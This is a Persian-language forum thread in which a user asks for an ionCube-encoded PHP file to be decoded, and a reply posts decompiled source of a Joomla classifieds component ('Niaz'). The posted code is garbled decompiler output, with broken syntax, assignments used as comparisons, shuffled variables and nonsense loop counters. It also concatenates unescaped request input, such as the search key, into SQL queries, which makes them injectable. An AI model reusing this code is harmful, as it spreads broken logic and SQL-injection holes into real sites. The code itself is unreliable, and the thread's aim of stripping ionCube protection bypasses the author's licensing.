نمایش نتایج: از شماره 1 تا 6 , از مجموع 6

موضوع: درخواست دي كد كردن

  1. #1
    عضو جدید
    تاریخ عضویت
    Jun 2012
    نوشته ها
    55
    تشکر تشکر کرده 
    33
    تشکر تشکر شده 
    36
    تشکر شده در
    28 پست

    پیش فرض درخواست دي كد كردن

    با سلام

    يه فايل php تو پيوست گذاشتم از دوستان كسي ميتونه اينو كه كد شده

    و ديكد كنه

    با تشكر
    فایل های پیوست شده فایل های پیوست شده

  2. # ADS




     

  3. #2
    عضو انجمن websazha آواتار ها
    تاریخ عضویت
    Aug 2010
    محل سکونت
    دیاکو وب
    نوشته ها
    554
    تشکر تشکر کرده 
    313
    تشکر تشکر شده 
    1,994
    تشکر شده در
    1,407 پست

    پیش فرض پاسخ : درخواست دي كد كردن

    ionCube و احتمالا ورژن 6.3 هست.
    که دیکدر در نت فراوان.
    ولی تصور نکنید بعد از دیکد 100% مفهموم و PHP کاملا خوانا دارید.

    موفق باشید.
    سرور مجازی با منابع اختصاصی هارد NVMe ایران و اروپا به صورت مدیریت شده
    تماس: 02191301515 | قرارداد رسمی حقیقی و حقوقی با کاربران

  4. #3
    عضو دائم
    تاریخ عضویت
    Sep 2012
    محل سکونت
    hetzners rack
    نوشته ها
    2,739
    تشکر تشکر کرده 
    2,675
    تشکر تشکر شده 
    6,577
    تشکر شده در
    3,502 پست

    پیش فرض پاسخ : درخواست دي كد كردن

    تست کنید :

    کد:
    <?php
    
    
    	if (!( defined( '_JEXEC' ))) {
    		exit( 'Restricted access' );
    		(bool)true;
    	}
    
    
    	jimport( 'joomla.application.component.controller' );
    	class NiazController extends JController {
    		function __construct() {
    			parent::(  );
    		}
    
    
    		function ReBackCredit() {
    			global $my;
    
    
    			$PID = JRequest::getvar( 'ix', 0, 'POST' );
    			$PID = intval( base64_decode( $PID ) );
    			$db = JFactory::getdbo(  );
    			$query = 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
    			$db->setQuery( $query );
    			$row = $db->loadObject(  );
    			$total = 472;
    
    
    			if (count( $row )) {
    				$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $my->id . ' AND fldPID = ' . $PID;
    				$db->setQuery( $query );
    				$db->Query(  );
    				$query = 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
    				$db->setQuery( $query );
    				$fldMoney = $db->loadResult(  );
    				$query = 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' . $my->id;
    				$query = self::cleansql( $query );
    				$db->setQuery( $query );
    				$total = ($fldMoney ? $db->loadResult(  ) : 0);
    				$fldMoney = Comma( $fldMoney );
    			}
    
    
    
    
    			if (intval( $total )) {
    				$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $row->fldTafavot . ',fldTafavot=fldTafavot-' . $row->fldTafavot . ' WHERE fldUID=' . $my->id;
    				$db->setQuery( $query );
    				$db->Query(  );
    				$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
    				$db->setQuery( $query );
    				$db->Query(  );
    				echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_COMPLETED' );
    				return null;
    			}
    
    
    			$query = 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' . $my->id . ' AND fldID = ' . $PID;
    			$db->setQuery( $query );
    			$db->Query(  );
    			echo '0#' . $fldMoney . '#' . JText::_( 'NIAZ_UPDATE_ERROR' );
    		}
    
    
    		function WhereCluse($view) {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $Align;
    			global $RTL;
    			global $app;
    			global $niaz_config;
    			global $DLANG;
    			global $AU;
    
    
    			$db = JFactory::getdbo(  );
    			$limit = JRequest::getvar( 'limit', $app->getCfg( 'list_limit' ) );
    			$limitstart = JRequest::getvar( 'limitstart', 0 );
    			$catid = JRequest::getint( 'catid' );
    			$subcatid = JRequest::getint( 'subcatid' );
    			$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
    			$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
    			$Type = JRequest::getvar( 'Type', 0 );
    			$key = JRequest::getvar( 'key' );
    			$id = JRequest::getvar( 'id', 0 );
    			$layout = JRequest::getvar( 'layout', NULL );
    			$fldUID = JRequest::getvar( 'fldUID', 0 );
    			$key = urldecode( JRequest::getvar( 'key', '' ) );
    			$A = array(  );
    			$where = '';
    			switch ($view) {
    				case 'myads': {
    					$A[] = 'fldOwner=' . $my->id;
    					break;
    				}
    
    
    				default: {
    					if (!empty( $key )) {
    						$query = 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' . $key . '\' AND published = 1';
    						$db->setQuery( $query );
    						$Keys = $db->loadResultArray(  );
    
    
    						if (!count( $Keys )) {
    							$Keys[] = 0;
    						}
    
    
    
    
    						if (!isset( $_SESSION[$key] )) {
    							$query = 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' . $key . '\'';
    							$db->setQuery( $query );
    							$db->Query(  );
    							$_SESSION[$key] = 1;
    						}
    
    
    						$query = 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' . implode( ',', $Keys ) . ') ';
    						$db->setQuery( $query );
    						$KeyArray = $db->loadResultArray(  );
    
    
    						if (count( $KeyArray )) {
    							$A[] = 'fldID IN (' . implode( ',', $KeyArray ) . ')';
    						}
    					}
    
    
    					$A[] = 'published=1';
    				}
    			}
    
    
    
    
    			if ($catid) {
    				$A[] = 'parent_id=' . $catid;
    			}
    
    
    
    
    			if ($subcatid) {
    				$A[] = 'fldRelation=' . $subcatid;
    			}
    
    
    			$K = implode( ' AND ', $A );
    
    
    			if ($K) {
    				$where = ' WHERE (' . $K . ')';
    			}
    
    
    			$where = self::cleansql( $where );
    			return $where;
    		}
    
    
    		function LoadSQL($table, $where, $fields = '') {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $Align;
    			global $RTL;
    			global $app;
    			global $mainframe;
    			global $AU;
    			global $niaz_config;
    
    
    			$db = JFactory::getdbo(  );
    			$limit = JRequest::getint( 'limit', $niaz_config->fldNShow );
    			$view = JRequest::getvar( 'view', 'niaz' );
    			$limitstart = JRequest::getint( 'limitstart' );
    			$ordering = 'fldID DESC';
    			$catid = JRequest::getint( 'catid' );
    			$subcatid = JRequest::getint( 'subcatid' );
    			$table2 = $table;
    
    
    			if (( $view  = 'niaz' || $view  = '' )) {
    				$query = 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ? ' AND fldID = ' . $catid : '');
    				$db->setQuery( $query );
    				$CatArray = $db->loadResultArray(  );
    				$CatArray[] = 0;
    				$query = 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' . implode( ',', $CatArray ) . ') ' . ($subcatid ? ' AND fldID = ' . $subcatid : '');
    				$db->setQuery( $query );
    				$SubCatArray = $db->loadResultArray(  );
    				$SubCatArray[] = 0;
    				$where &= (strlen( $where ) ? ' AND fldRelation IN (' . implode( ',', $SubCatArray ) . ')' : 'WHERE fldRelation IN (' . implode( ',', $SubCatArray ) . ')');
    			}
    
    
    			switch ($table) {
    				case 'prod': {
    					$ordering = 'fldStartTime DESC';
    					$orderingX = '';
    					switch ($view) {
    						case 'myads': {
    							$fields = '*';
    							break;
    						}
    
    
    						case 'pay': {
    							$fields = '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMoney`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber`,`fldPName`,`fldImage`,`fldOwner`' . (strlen( $fields ) ? $fields : '');
    							break;
    						}
    
    
    						default: {
    							$fields = '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldShowLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`,`fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA';
    							$orderingX = 'OA DESC,fldStar';
    							$ordering = '';
    							$orderingX = (strlen( $niaz_config->fldField55 ) ? str_replace( array( ':', '*' ), array( ' ', ',' ), $niaz_config->fldField55 ) : $orderingX);
    						}
    					}
    
    
    					$ordering = '' . $orderingX . ' ' . $ordering;
    
    
    					if ($view  = 'myads') {
    						$ordering = 'fldID DESC';
    					} 
    else {
    						$where &= (intval( $niaz_config->fldField30 ) ? '' : ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 ');
    					}
    
    
    					break;
    				}
    
    
    				case 'rss': {
    					$table2 = 'prod';
    				}
    			}
    
    
    			$query = 'SELECT COUNT(*) FROM #__niaz_' . $table . ' ' . $where;
    			$db->setQuery( $query );
    			$total = $db->loadResult(  );
    			$limitx = '
     LIMIT ' . $limitstart . ', ' . $limit;
    			jimport( 'joomla.html.pagination' );
    			$pageNav = new JPagination( $total, $limitstart, $limit );
    			$query = 'SELECT ' . $fields . ' FROM #__niaz_' . $table . ' ' . $where . ' ' . ( '
     ORDER BY ' . $ordering ) . $limitx;
    			$db->setQuery( $query );
    			$rows = $db->loadObjectList(  );
    			return array( $rows, $pageNav );
    		}
    
    
    		function LoadMySQL($table, $where) {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $Align;
    			global $RTL;
    			global $app;
    			global $mainframe;
    			global $AU;
    			global $niaz_config;
    
    
    			$db = JFactory::getdbo(  );
    			$query = 'SELECT * FROM #__niaz_' . $table . ' WHERE ' . $where . ' ';
    			$db->setQuery( $query );
    			$rows = $db->loadObjectList(  );
    			return $rows;
    		}
    
    
    		function LoadMiniAds($rows) {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    
    
    			$C = array(  );
    			echo '	<div width="100%"  class="border">
    		';
    			$j = 480;
    			$i = 480;
    			$n = count( $rows );
    
    
    			while ($i < $n) {
    				$row = $rows[$i];
    
    
    				if (( ( ( intval( $niaz_config->fldField48 ) && intval( $niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) {
    					$ExpDate[] = $row->fldID;
    				}
    
    
    				$_SESSION['CID'][] = $row->fldID;
    				$C[] = $row->fldID;
    				echo '                <div class="banner">
    				<a href="';
    				echo JRoute::_( 'index.php?option=' . $option . '&view=detail&id=' . $row->fldID . ':' . $row->fldPName );
    				echo '" class="title">
    									';
    
    
    				if ('' < $row->fldImage) {
    					$fldImage = explode( ',', $row->fldImage );
    					$A = rand( 1, count( $fldImage ) );
    					$fldImage = $fldImage[$A - 1];
    					echo '                  <img src="components/';
    					echo $option;
    					echo '/files/prod/';
    					echo '' . $row->fldDate . '/' . $row->fldID;
    					echo '/tmb_';
    					echo $fldImage;
    					echo '" title="';
    					echo $rows[$i]->fldPName;
    					echo '" alt="';
    					echo $rows[$i]->fldPName;
    					echo '" class="tniypic">
                      ';
    				} 
    else {
    					echo '				  <img src="components/';
    					echo $option;
    					echo '/images/tmb_pic.png"  alt="';
    					echo $rows[$i]->fldPName;
    					echo '" title="';
    					echo $rows[$i]->fldPName;
    					echo '" class="tniypic">
    				  ';
    				}
    
    
    				echo '							
    				<img border="0" src="';
    				echo 'components/' . $option . '/images/star_' . $row->fldStar . '.gif';
    				echo '" />
    				 <br/>';
    				echo '<s';
    				echo 'pan>';
    				echo $row->fldPName;
    				echo '</span></a>
                    </div>
    		';
    				++$i;
    			}
    
    
    			echo '        </div>
    	';
    			viewCounts( $C );
    
    
    			if (isset( $ExpDate )) {
    				self::updateexpdate( $ExpDate );
    			}
    
    
    		}
    
    
    		function UpdateExpDate($ids) {
    			$db = JFactory::getdbo(  );
    			$ExpDate = implode( ',', $ids );
    			$query = 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' . $ExpDate . ')';
    			$db->setQuery( $query );
    			$db->Query(  );
    		}
    
    
    		function LoadConfig() {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    			global $Cat;
    			global $SubCat;
    			global $SubCatAll;
    
    
    			$db = JFactory::getdbo(  );
    
    
    			if (count( $niaz_config )) {
    				return true;
    			}
    
    
    			echo '<div class="message">' . JText::_( 'NIAZ_ERROR_CONFIG' ) . '</div>';
    			return false;
    		}
    
    
    		function showMail($aid) {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $option;
    			global $mainframe;
    			global $app;
    			global $niaz_config;
    			global $mainframe;
    
    
    			$db = JFactory::getdbo(  );
    			$query = 'SELECT * FROM #__niaz_prod ' . ( '
     WHERE fldID = ' . $aid );
    			$db->setQuery( $query );
    			$rowsa = $db->loadObject(  );
    			$email = $rowsa->fldEMAil;
    			$uid = $rowsa->fldOwner;
    			$query = 'SELECT * FROM #__users ' . ( '
     WHERE id = ' . $uid );
    			$db->setQuery( $query );
    			$rows = $db->loadObject(  );
    
    
    			if (count( $rowsa )) {
    				if ($rowsa->fldEMAil) {
    					self::showmails( $rows, $rowsa );
    					return null;
    				}
    
    
    				echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_NONE_EMAIL' ) . '</a></p>';
    				return null;
    			}
    
    
    			echo '<p><a href="javascript:history.back(1)">' . JText::_( 'NIAZ_BACK' ) . '</a></p>';
    		}
    
    
    		function showMails($rows, $rowsa) {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $option;
    			global $mainframe;
    			global $app;
    			global $niaz_config;
    			global $mainframe;
    
    
    			$db = JFactory::getdbo(  );
    
    
    			if ($niaz_config->fldField20  = 2) {
    				$A['css'] = 'slider.css';
    				$A['js'] = 'slider.js';
    				foreach ($A as $k => $v) {
    					NiazController::loaduserstyle( $k, $v );
    				}
    			}
    
    
    
    
    			if (intval( $niaz_config->fldField19 )) {
    				$i2 = 578;
    			}
    
    
    			$i2 = 578;
    			echo '		';
    			echo '<s';
    			echo 'cript language="javascript">
    		function checkMail(x){
      	var filter  = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/;
      	if (filter.test(x)) 
      	return 0;
      	else 
      	return 1;
      }		
    		//=======================================================================
    		function validAdsMessage(){
    		var form = document.EForm;
    			';
    
    
    			if ($niaz_config->fldField20) {
    				echo '			if(document.getElementById(\'sec_key\').value==""){
    				alert("';
    				echo JText::_( 'ALERT_SEC_CODE' );
    				echo '");
    				return false;
    			}
    			else
    			';
    			}
    
    
    			echo '			if(form.Name.value==\'\')
    			{
    			alert(\'';
    			echo JText::_( 'NIAZ_YOUR_NAME' );
    			echo '\');
    			form.Name.focus();
    			return;
    			}
    			else
    			if((form.Email.value==\'\')||(checkMail(form.Email.value)))
    			{
    			alert(\'';
    			echo JText::_( 'NIAZ_EMAIL' );
    			echo '\');
    			form.Email.focus();
    			return;
    			}
    			else
    			if(form.Subject.value==\'\')
    			{
    			alert(\'';
    			echo JText::_( 'NIAZ_SUBJECT' );
    			echo '\');
    			form.Subject.focus();
    			return;
    			}
    			else
    			if(form.Message.value==\'\')
    			{
    			alert(\'';
    			echo JText::_( 'NIAZ_MESSAGE' );
    			echo '\');
    			form.Message.focus();
    			return;
    			}
    			else
    			form.submit();
    		}
    		//=======================================================================
    		</script>
    		<div class="adminform">
    		<form action="';
    			echo $_SERVER['REQUEST_URI'];
    			echo '" method="post" name="EForm">
    		<h3>';
    			echo JText::_( 'NIAZ_ADS_CONTACT' );
    
    
    			if (isset( $rows )) {
    				echo ' : <a href="';
    				echo JRoute::_( 'index.php?option=com_userprofile&view=userprofile&id=' . $rows->id . ':' . $rows->username . '&Itemid=116' );
    				echo '">';
    				echo $rows->name;
    				echo '</a>';
    			}
    
    
    			echo '</h3>
    		<div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">';
    			echo JText::_( 'NIAZ_REQUIERD' );
    			echo '</div>
    		 <div class="row2">';
    			echo JText::_( 'NIAZ_RECIVER' );
    			echo ' : ';
    			echo (isset( $rows ) ? $rows->name : $rowsa->fldPName);
    			echo '</div>
    		
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_YOUR_NAME' );
    			echo '</label><input size="35" name="Name" ></div> 
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_COUNTRY' );
    			echo '</label><input size="35" name="Country" ></div>
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_EDU' );
    			echo '</label><input size="35" name="Edu" ></div>
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_JOB' );
    			echo '</label><input size="35" name="Job" ></div>
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_EMAIL' );
    			echo '</label><input  size="35" name="Email" dir="ltr"></div>
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_SUBJECT' );
    			echo '</label><input size="35" name="Subject"  value="';
    			echo JText::_( 'NIAZ_DEFUALT_SUBJECT' );
    			echo ' ';
    			echo $rowsa->fldPName;
    			echo '"></div>
    		<div class="row"><label>';
    			echo JText::_( 'NIAZ_MESSAGE' );
    			echo '</label><textarea name="Message" class="NewTable" rows="10"></textarea></div>
    		';
    
    
    			if (intval( $niaz_config->fldField20 )) {
    				echo '		<div class="row">
    		';
    
    
    				if (intval( $niaz_config->fldField20 )  = 1) {
    					echo '		<label>';
    					echo JText::_( 'NIAZ_IMAGE_SECURITY' );
    					echo '</label>
    			<input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" />
    			<img src="';
    					echo JURI::root(  );
    					echo 'components/';
    					echo $option;
    					echo '/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" />
    			<img src="';
    					echo JURI::root(  );
    					echo 'index.php?option=';
    					echo $option;
    					echo '&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" />
    		
    		';
    				} 
    else {
    					$captcha = time(  );
    					$_SESSION['captcha'] = $captcha;
    					echo '			<div id="ads-slider" class="dragdealer rounded-cornered w90">
    				<div class="red-bar handle" id="roleowerADS">&lt;&lt; ';
    					echo JText::_( 'NIAZ_SEC_ALERT' );
    					echo ' </div>
    			</div>
    			<input type="hidden" name="sec_key" id="sec_key" />
    			';
    					echo '<s';
    					echo 'cript language="javascript">
    				var MyAlaki = \'';
    					echo $captcha;
    					echo '\';
    				var OkAlert = \'';
    					echo JText::_( 'NIAZ_SEC_OK' );
    					echo '\';
    			</script>
    		';
    				}
    
    
    				echo '		</div>
    		';
    			}
    
    
    			echo '		<input type="hidden" name="To" value="';
    			echo $rowsa->fldEMAil;
    			echo '" />
    		<input type="hidden" name="option" value="';
    			echo $option;
    			echo '"  >
    		<input type="hidden" name="task" value="sendMail"  >
    		<input type="hidden" name="mag" value="';
    			echo JText::_( 'NIAZ_A_ADS' );
    			echo ' ';
    			echo $rowsa->fldPName;
    			echo '" >
    		<input type="button" value="';
    			echo JText::_( 'NIAZ_SEND_MAIL' );
    			echo '" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;">
    		</form>	
    		</div>
    ';
    			echo '<s';
    			echo 'cript language="javascript">
    		';
    
    
    			if ($niaz_config->fldField20  = 2) {
    				echo '		new Dragdealer(\'ads-slider\');
    		';
    			}
    
    
    			echo '</script>
    	';
    		}
    
    
    		function sendMail() {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $option;
    			global $mainframe;
    			global $app;
    			global $niaz_config;
    			global $mainframe;
    			global $mosconfig_live_site;
    
    
    			$db = JFactory::getdbo(  );
    			$MailFrom = $app->getCfg( 'mailfrom' );
    			$FromName = $app->getCfg( 'fromname' );
    			$SiteName = $app->getCfg( 'sitename' );
    
    
    			if (intval( $niaz_config->fldField20 )) {
    				$sec_key = JRequest::getvar( 'sec_key' );
    
    
    				if ($sec_key != $_SESSION['captcha']) {
    					$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
    					$this->setRedirect( $_SERVER['HTTP_REFERER'] );
    					return false;
    				}
    			}
    
    
    			$Email = $Subject = $Message = ;
    			$Job = JRequest::getvar( 'Message', '', 'POST' );
    			$Edu = JRequest::getvar( 'Subject', '', 'POST' );
    			$Country = JRequest::getvar( 'Email', '', 'POST' );
    			$Name = JRequest::getvar( 'Job', '', 'POST' );
    			$mag = JRequest::getvar( 'Edu', '', 'POST' );
    			JRequest::getvar( 'To', '', 'POST' );
    			$To = JRequest::getvar( 'Country', '', 'POST' );
    			JRequest::getvar( 'si', 'X', 'POST' );
    			$si = JRequest::getvar( 'Name', '', 'POST' );
    			JRequest::getvar( 'siu', 'Y', 'POST' );
    			$siu = JRequest::getvar( 'mag', '', 'POST' );
    
    
    			if ($mag) {
    				$mag = JText::_( 'ADS_TO_ADMIN' ) . ' ' . $mag;
    			} 
    else {
    				$mag = JText::_( 'ADS_TO_USER' ) . ( ' ' . $SiteName );
    			}
    
    
    			$body = $Name . ( ' <' . $Email . '>
    	' ) . JText::_( 'NIAZ_JOB' ) . ' : ' . $Job . '
    	' . JText::_( 'NIAZ_EDU' ) . ' : ' . $Edu . ( '
    	
    	' . $mag . '
    	
    	' ) . $Message . '
    	' . '
    	. ' . JText::_( 'NIAZ_SENT' ) . ( ' ' . $mosconfig_live_site . ' ' ) . JText::_( 'NIAZ_BY_OUR_SITE' ) . ( ' ' . $SiteName . ' ' ) . JText::_( 'NIAZ_TO_ADD' ) . ( ' 
    	<' . $FromName . '>' . $MailFrom );
    			$M = JUTility::sendmail( $MailFrom, $FromName, $To, $Subject, $body, 0, NULL, NULL, NULL );
    
    
    			if (is_object( $M )) {
    				$M = 577;
    			}
    
    
    
    
    			if ($M) {
    				JText::_( 'NIAZ_SENT_SUCCESS' );
    				$msg = ;
    			} 
    else {
    				$msg = '';
    			}
    
    
    			$this->setMessage( $msg );
    			$this->setRedirect( $_SERVER['REQUEST_URI'] );
    			return true;
    		}
    
    
    		function CheckAccess() {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    			global $option;
    			global $RTL;
    
    
    			if ($my->id  = 0) {
    				$uri = JFactory::geturi(  );
    				$return = $uri->toString(  );
    				$url = 'index.php?option=com_users&view=login';
    				$url &= '&return=' . base64_encode( $return );
    				$app = JFactory::getapplication(  );
    				$app->redirect( JRoute::_( $url ), JText::_( 'You must login first' ) );
    			}
    
    
    		}
    
    
    		function saveprod($task = 'save') {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    			global $option;
    			global $RTL;
    
    
    			$db = JFactory::getdbo(  );
    
    
    			if ($niaz_config->fldUType  = 0) {
    				NiazController::checkaccess(  );
    			}
    
    
    
    
    			if (!intval( $niaz_config->fldField42 )) {
    				$niaz_config->fldField42 = 10;
    			}
    
    
    
    
    			if (!intval( $niaz_config->fldField56 )) {
    				$niaz_config->fldField56 = 2;
    			}
    
    
    			$ShortDescX = JRequest::getvar( 'ShortDesc', array(  ), 'POST' );
    			$ShortDesc = array(  );
    			foreach ($ShortDescX as $k => $v) {
    
    
    				if (( $k < $niaz_config->fldField42 && strlen( trim( $v ) ) )) {
    					$vx = explode( ' ', $v );
    
    
    					if (intval( $niaz_config->fldField56 ) < count( $vx )) {
    						$v = array_slice( $vx, 0, $niaz_config->fldField56 );
    						$v = implode( ' ', $v );
    					}
    
    
    					$ShortDesc[] = $v;
    					continue;
    				}
    			}
    
    
    			$ShortDesc = array_unique( $ShortDesc );
    			JRequest::setvar( 'fldShort', implode( ',', $ShortDesc ) );
    			JRequest::setvar( 'fldEXPMail', 0 );
    
    
    			if (count( $ShortDesc )) {
    				foreach ($ShortDesc as $v) {
    					$query = 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' . $v . '\');';
    					$db->setQuery( $query );
    					$db->Query(  );
    				}
    			}
    
    
    			$id = JRequest::getint( 'fldID', 0, 'POST' );
    			$PName = JRequest::getvar( 'fldPName', '', 'POST' );
    			$X = self::isuniquename( $PName, $id );
    
    
    			if ($X) {
    				$this->setMessage( JText::_( 'ALERT_DUPLICATE_NAME' ), 'error' );
    				$this->setRedirect( $_SERVER['HTTP_REFERER'] );
    				return false;
    			}
    
    
    
    
    			if (intval( $niaz_config->fldField20 )) {
    				$sec_key = JRequest::getvar( 'sec_key' );
    
    
    				if ($sec_key != $_SESSION['captcha']) {
    					$this->setMessage( JText::_( 'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
    					$this->setRedirect( $_SERVER['HTTP_REFERER'] );
    					return false;
    				}
    			}
    
    
    			require_once( JPATH_SITE . DS . 'administrator' . DS . 'components' . DS . $option . DS . 'tables' . DS . 'prod.php' );
    			$FType = array(  );
    
    
    			if (strlen( $niaz_config->fldField45 )) {
    				$U = explode( '*', $niaz_config->fldField45 );
    				$X = array(  );
    				foreach ($U as $k => $v) {
    					$D = explode( ':', $v );
    					$X[] = $D[0];
    					$FType['fldFilmsize'][$D[0]] = $D[1];
    				}
    
    
    				$FType['fldFilm'] = $X;
    			}
    
    
    
    
    			if (strlen( $niaz_config->fldField44 )) {
    				$U = explode( '*', $niaz_config->fldField44 );
    				$X = array(  );
    				foreach ($U as $k => $v) {
    					$D = explode( ':', $v );
    					$X[] = $D[0];
    					$FType['fldImagesize'][$D[0]] = $D[1];
    				}
    
    
    				$FType['fldImage'] = $X;
    			}
    
    
    			$File = array(  );
    			$B = array(  );
    			$msg = '';
    			$table = 'prod';
    			$fldStat = JRequest::getvar( 'fldStat' );
    			$row = new NiazTableProd( $db );
    			$row->load( $id );
    
    
    			if (5 < $fldStat) {
    				$_POST['fldStat'] = 0;
    			}
    
    
    			$fldDate = ($id ? $row->fldDate : date( 'Y-m-d' ));
    			$_POST['fldDate'] = $fldDate;
    			$_POST['fldOwner'] = $my->id;
    
    
    			if (intval( $niaz_config->fldField32 )  = 0) {
    				$_POST['fldDesc'] = strip_tags( $_POST['fldDesc'] );
    
    
    				if ($niaz_config->fldField43) {
    					$fldDesc = explode( ' ', $_POST['fldDesc'] );
    					$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
    					$_POST['fldDesc'] = implode( ' ', $fldDesc );
    				}
    			}
    
    
    			$FT = array(  );
    			$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
    			$db->setQuery( $query );
    			$Cols = $db->loadObjectList(  );
    			$i = 2099;
    			foreach ($Cols as $h) {
    
    
    				if (substr( $h->Field, 0, 8 )  = 'fldExtra') {
    					if ($h->Type  = 'text') {
    						$FT[] = $h->Field;
    						++$i;
    						continue;
    					}
    
    
    					continue;
    				}
    			}
    
    
    			foreach ($FT as $v) {
    
    
    				if (intval( $niaz_config->fldField32 )  = 0) {
    					JRequest::setvar( $v, strip_tags( $_POST[$v] ), 'POST' );
    
    
    					if ($niaz_config->fldField43) {
    						$fldDesc = explode( ' ', $_POST[$v] );
    						$fldDesc = array_slice( $fldDesc, 0, $niaz_config->fldField43 );
    						JRequest::setvar( $v, implode( ' ', $fldDesc ), 'POST' );
    						continue;
    					}
    
    
    					continue;
    				}
    			}
    
    
    			$DELPIC = ($my->id ? JRequest::getvar( 'DELPIC', array(  ) ) : array(  ));
    			$maindestfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate );
    			$destfolder = $maindestfolder . DS . ( '' . $id );
    			$Err = 2099;
    			foreach ($_FILES as $k => $v) {
    				foreach ($v as $k1 => $v1) {
    
    
    					if ($k1  = 'name') {
    						foreach ($v1 as $k2 => $v2) {
    
    
    							if (strlen( $v2 )) {
    								$v2 = strtolower( $v2 );
    								$s = explode( '.', $v2 );
    								$se = $s[count( $s ) - 1];
    
    
    								if (( !in_array( $se, $FType[$k] ) || ( $FType[$k . 'size'][$se] && $FType[$k . 'size'][$se] < intval( $v['size'][$k2] \ 1024 ) ) )) {
    									$Err = 2100;
    								}
    
    
    								$File[$k][] = $v2;
    								continue;
    							}
    						}
    
    
    						continue;
    					}
    				}
    			}
    
    
    
    
    			if (( ( ( $niaz_config->fldField29 && strlen( $niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen( $row->fldImage ) )) {
    				$Err = 2101;
    			}
    
    
    
    
    			if ($Err) {
    				$this->setMessage( ($Err  = 1 ? JText::_( 'ERROR_UPLOAD_FILE' ) : JText::_( 'ERROR_EMPTY_FILE' )), 'error' );
    				$this->setRedirect( $_SERVER['HTTP_REFERER'] );
    				return false;
    			}
    
    
    
    
    			if (count( $DELPIC )) {
    				foreach ($DELPIC as $k => $v) {
    
    
    					if (strlen( $row->$k )) {
    						$A = explode( ',', $row->$k );
    						$B = $DELPIC[$k];
    						$C = array(  );
    						$i = 2099;
    
    
    						while ($i < count( $B )) {
    							if (file_exists( '' . $destfolder . '/' . $B[$i] )) {
    								JFile::delete( '' . $destfolder . '/' . $B[$i] );
    							}
    
    
    
    
    							if (file_exists( '' . $destfolder . '/tmb_' . $B[$i] )) {
    								JFile::delete( '' . $destfolder . '/tmb_' . $B[$i] );
    							}
    
    
    
    
    							if (in_array( $B[$i], $A )) {
    								$U = array_keys( $A, $B[$i] );
    								$A[$U[0]] = NULL;
    							}
    
    
    							++$i;
    						}
    
    
    						arsort( $A );
    						$i = 2099;
    						$n = count( $B );
    
    
    						while ($i < $n) {
    							array_pop( $A );
    							++$i;
    						}
    
    
    						$_POST[$k] = (count( $A ) ? implode( ',', $A ) : '');
    						$row->$k = (count( $A ) ? implode( ',', $A ) : '');
    						continue;
    					}
    				}
    
    
    				$msg &= JText::sprintf( 'MYPN_FILE_DELETE', count( $B ) );
    			}
    
    
    			$A = array(  );
